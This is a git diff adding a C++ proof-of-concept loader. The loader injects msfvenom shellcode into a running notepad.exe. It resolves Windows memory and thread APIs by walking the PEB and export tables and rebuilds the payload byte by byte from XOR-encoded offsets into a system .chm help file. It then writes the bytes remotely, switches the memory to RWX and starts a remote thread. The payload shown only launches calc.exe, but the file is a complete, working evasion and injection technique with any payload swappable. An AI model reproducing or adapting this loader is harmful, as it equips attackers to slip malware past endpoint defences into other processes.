diff --git a/walking-peb-eat/alphabet-peb-loader.cpp b/walking-peb-eat/alphabet-peb-loader.cpp new file mode 100644 index 0000000..03b8cb1 --- /dev/null +++ b/walking-peb-eat/alphabet-peb-loader.cpp @@ -0,0 +1,276 @@ +/* +* alphabet-peb-loader.cpp: injecting calc.exe msfvenom shellcode that has been Alphabet Soup encoded into a remote process using dynamic function resolution via PEB-walking +* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread +* compile: cl.exe /D"_UNICODE" /D"UNICODE" /W0 /EHsc /I "..\includes" alphabet-peb-loader.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /Fe:alphabet-peb-loader.exe +* Usage: alphabet-peb-loader.exe +*/ +#include +#include +#include + +#include "../includes/utils.h" // crt replacements +#include "../includes/peb-eat-utils.h" // custom peb/eat walking functions + +// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex +typedef LPVOID(WINAPI* P_VirtualAllocEx)( + HANDLE pHandle, + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect +); + +// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex +typedef BOOL(WINAPI* P_VirtualProtectEx) ( + HANDLE hProcess, + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD lpflOldProtect +); + +// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory +typedef BOOL(WINAPI* P_WriteProcessMemory)( + HANDLE hProcess, + LPVOID lpBaseAddress, + LPCVOID lpBuffer, + SIZE_T nSize, + SIZE_T *lpNumberOfBytesWritten +); + +// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread +typedef HANDLE(WINAPI* P_CreateRemoteThread) ( + HANDLE hProcess, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, + LPVOID lpParameter, + DWORD dwCreationFlags, + LPDWORD lpThreadId +); + +// Adapted from Pavel Yosifovich's Enumerate Processes (part 1): https://www.youtube.com/watch?v=IZULG6I4z5U +DWORD FindPidByName(LPCWSTR processName) { + DWORD foundpid = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return foundpid; + } + + PROCESSENTRY32 pe; + pe.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapshot, &pe)) { + do { + if (_wcsicmp(processName, pe.szExeFile) == 0) { + foundpid = pe.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return foundpid; +} + +// payload recipe generated by python helper +unsigned long long alphabetSoup[] = { + 4660, 18274, 19562, 67286, 67490, 82347, 58255, 55850, 11517, 78235, 11207, 67312, + 63106, 53765, 76979, 51487, 61601, 42896, 49663, 31257, 33927, 40826, 97872, 60471, + 39179, 80449, 30873, 55773, 73358, 18824, 84126, 43050, 48375, 36078, 69535, 55281, + 29350, 60425, 46156, 70929, 27331, 60546, 63514, 43138, 8061, 32171, 76749, 57105, + 40666, 42570, 54106, 5381, 26667, 96273, 23041, 20926, 45105, 83209, 43016, 36926, + 19584, 759, 31799, 96385, 29277, 71625, 658, 20898, 46156, 75091, 36562, 63217, + 32252, 18276, 20082, 46406, 96105, 97935, 69259, 82403, 67571, 12027, 14827, 10746, + 61409, 65527, 75011, 96596, 32632, 68718, 78104, 83115, 64316, 82052, 33768, 57141, + 72283, 41134, 95702, 84466, 85673, 3696, 26886, 96893, 39483, 23271, 41651, 3362, + 68468, 55281, 6720, 82986, 44277, 1705, 28515, 71249, 59249, 79327, 58868, 74132, + 49433, 19674, 22568, 43897, 33427, 31320, 88091, 34531, 64614, 45042, 95075, 76458, + 28307, 63163, 651, 33746, 38322, 2038, 42752, 51820, 67781, 61382, 67207, 16453, + 58890, 60662, 46979, 96290, 4814, 5913, 83115, 1403, 47113, 68324, 85603, 61391, + 80038, 88384, 26096, 25204, 52013, 1705, 35941, 94816, 54723, 36104, 72645, 33370, + 76112, 31968, 35382, 72858, 32662, 97875, 40082, 69989, 74486, 63000, 78699, 69751, + 51524, 18295, 57306, 64727, 47863, 40802, 16522, 24833, 32153, 88740, 40255, 18669, + 61227, 45792, 51937, 44065, 56572, 67775, 56860, 25498, 42171, 63173, 32571, 32622, + 18221, 29795, 7983, 10965, 11823, 9950, 11459, 11186, 13521, 11448, 87135, 54212, + 78303, 39710, 895, 16258, 64024, 23012, 43353, 53123, 97998, 82785, 79132, 78332, + 55762, 32453, 82913, 24997, 41308, 60233, 94286, 72408, 59332, 95692, 70915, 44640, + 86190, 30584, 46428, 86887, 25949, 83133, 26623, 55014, 25618, 61978, 27560, 35853, + 31974, 33604, 4916, 45041, 68947, 64535, 86981, 18318, 74405, 16233, 71645, 66637, + 39031, 74272, 21532, 94788, 3193, 5930, 3871, 78261, 56407, 33868, 56831, 4485, + 10670 +}; +const size_t soupSize = sizeof(alphabetSoup) / sizeof(unsigned long long); + +int main() { + printf("[*] Alphabet Soup PoC Remote Loader\n"); + + P_VirtualAllocEx myVirtualAllocEx = nullptr; + P_WriteProcessMemory myWriteProcessMemory = nullptr; + P_VirtualProtectEx myVirtualProtectEx = nullptr; + P_CreateRemoteThread myCreateRemoteThread = nullptr; + + // Extract the key from the first element + DWORD activeKey = (DWORD)alphabetSoup[0]; + size_t payloadSize = soupSize - 1; // Real shellcode size is total minus the key + + // Map the dictionary file + printf("[*] Mapping dictionary\n"); + HANDLE hFile = CreateFileA("C:\\Windows\\Help\\mui\\0409\\cliconf.chm", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); + LPVOID pChmBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); + + printf("[*] Locating remote process\n"); + DWORD pid = 0; + const wchar_t* processName = L"notepad.exe"; + + pid = FindPidByName(processName); + if (pid == 0) { + printf("[ERROR] Failed to obtain process ID!\n"); + return -1; + } + + printf("[*] Running PI with target PID: %u\n", pid); + + // Open a handle to the current process, this must be passed to VirtualAllocEx + HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + if (pHandle == NULL) { + printf("Failed to acquire process handle!\n"); + return -1; + } + + void* teb = GetLocalTebAddress(); + printf("Current process TEB address: %p\n", teb); + + // maybe move this to a GetLocalPebAddress function? + // this is good for demonstration but we can really skip straight to the PEB + void* peb = NULL; +#ifdef _WIN64 + // On x64, PEB is at TEB + 0x60 + peb = *(void**)((unsigned char*)teb + 0x60); +#else + // On x86, PEB is at TEB + 0x30 + // not currently used, but good to have around + peb = *(void**)((unsigned char*)teb + 0x30); +#endif + printf("Current process PEB address (TEB + offset): %p\n", peb); + + // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks + // Assuming peb_address holds the valid memory location of the PEB + PPEB peb_ptr = (PPEB)peb; + + // Accessing the 'BeingDebugged' flag + if (peb_ptr->BeingDebugged) { + printf("Debugger is attached\n"); + } + else { + printf("No debugger detected\n"); + } + + // resolve the module base + PVOID kernel32Base = GetModuleBaseManual(peb_ptr, "kernel32.dll"); + + // Use GPAManualByName to get the address of the VirtualAllocEx function + myVirtualAllocEx = (P_VirtualAllocEx)GPAManualByName((HMODULE) kernel32Base, "VirtualAllocEx"); + if (myVirtualAllocEx == nullptr) { + printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError()); + return -1; + } + + // Use GetProcAddress to get the address of the WriteProcessMemory function + myWriteProcessMemory = (P_WriteProcessMemory)GPAManualByName((HMODULE) kernel32Base, "WriteProcessMemory"); + if (myWriteProcessMemory == nullptr) { + printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError()); + return -1; + } + + // Use GetProcAddress to get the address of the VirtualProtectEx function + myVirtualProtectEx = (P_VirtualProtectEx)GPAManualByName((HMODULE) kernel32Base, "VirtualProtectEx"); + if (myVirtualProtectEx == nullptr) { + printf("[ERROR] Failed to resolve VirtualProtectEx. Error: %u\n", GetLastError()); + return -1; + } + + // Use GetProcAddress to get the address of the CreateRemoteThread function + myCreateRemoteThread = (P_CreateRemoteThread)GPAManualByName((HMODULE) kernel32Base, "CreateRemoteThread"); + if (myCreateRemoteThread == nullptr) { + printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError()); + return -1; + } + + printf("[*] Successfully opened handle to PID: %u\n", pid); + + // Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious + LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE); + if (bufferAddress == NULL) { + printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); + return -1; + } + printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress); + + printf("[*] Decoding indices and writing directly to remote process...\n"); + for (size_t i = 1; i < soupSize; i++) { + // Decode the offset + unsigned long long realOffset = alphabetSoup[i]; + if (activeKey != 0) { realOffset ^= activeKey; } + + // TODO: Is this offset within our mapped source? + // Calculate sourceFileSize earlier) + // if (realOffset >= sourceFileSize) { break; } + + BYTE targetByte = *((BYTE*)pChmBase + (DWORD)realOffset); + + // Calculate remote write destination (Base + offset) + LPVOID remoteAddressForByte = (LPVOID)((BYTE*)bufferAddress + (i - 1)); + + // Write a single byte directly to the remote process + if (!myWriteProcessMemory(pHandle, remoteAddressForByte, &targetByte, 1, NULL)) { + printf("[!] Failed to write byte at index %zu\n", i); + VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE); + return -1; + } + } + + // clean up our dictionary + UnmapViewOfFile(pChmBase); + + // Update the memory protection value from RW to RWX + DWORD lpOldProtect = NULL; + BOOL updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_EXECUTE_READWRITE, &lpOldProtect); + if (updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE); + return -1; + } + + // Create a new thread using the shellcode buffer address as the starting point + HANDLE tHandle = myCreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); + if (tHandle == NULL) { + printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); + VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE); + return -1; + } + + // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner + printf("[*] Waiting for the thread to return...\n"); + WaitForSingleObject(tHandle, INFINITE); + + // Update the memory protection value from RWX to RW + updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_READWRITE, &lpOldProtect); + if (updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE); + return -1; + } + + // Clean up open handles and free the shellcode buffer memory + VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE); + CloseHandle(hMap); + CloseHandle(hFile); + CloseHandle(pHandle); + CloseHandle(tHandle); + + printf("[*] Process injection complete.\n"); + + return 0; +} \ No newline at end of file